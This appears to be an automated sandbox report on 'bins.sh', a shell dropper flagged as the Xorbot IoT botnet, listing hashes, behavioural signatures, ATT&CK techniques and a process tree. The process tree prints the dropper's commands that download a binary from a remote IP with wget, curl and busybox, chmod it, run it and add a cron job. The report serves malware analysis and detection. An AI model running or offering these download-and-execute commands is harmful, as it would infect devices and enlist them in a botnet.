Analysis
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max time kernel
150s -
max time network
156s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
12/12/2024, 00:07
General
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Target
bins.sh
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Size
10KB
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MD5
1d5b2a7b3af160b4a8d62dfc4ec1d359
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SHA1
c6a95cbf4750484d23d78b71d1d1065a210301b6
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SHA256
680092c14ddc788945c049ce9ef06ebb24af47c502a738d044c09260dd771643
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SHA512
47c3c36c80d2fb44bf0e5852ea583f051f8d4c1792b2d8057add8e575fb91ae7cf37c53f3a4af5bc8b20ab10f9a26107928cf8b6e0866ac5e4fd7e11c9e90821
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SSDEEP
192:dvicIR9EQZ4QZQ3XjuTjnwEQZ4QxrXjuTj8cIH:dvicIR9EQZ4QZQ3XjuTjwEQZ4QtXjuTC
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2117) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- File and Directory Permissions Modification
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/tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX./woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/ypC7J2PVHhmdH54tZdZPvLkmRHWTitt0z92⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD57c22dff036763f6ea660fc3c9305b1a1
SHA1711b6dcdb47dbb368c1e72843034efe1ff348b49
SHA25653c12be9df35b7530def58802d7a1925ebb1396ea4c832090d6a53ddf7d9336a
SHA5122a91f61cd61c7641afa8ca0c7669f26268174120cc33f7c59cfd2cfe6f09c40d3f52c851d625c57f5a42b2749b22bd6eebad77917e0e3ffcd989a4a39470901d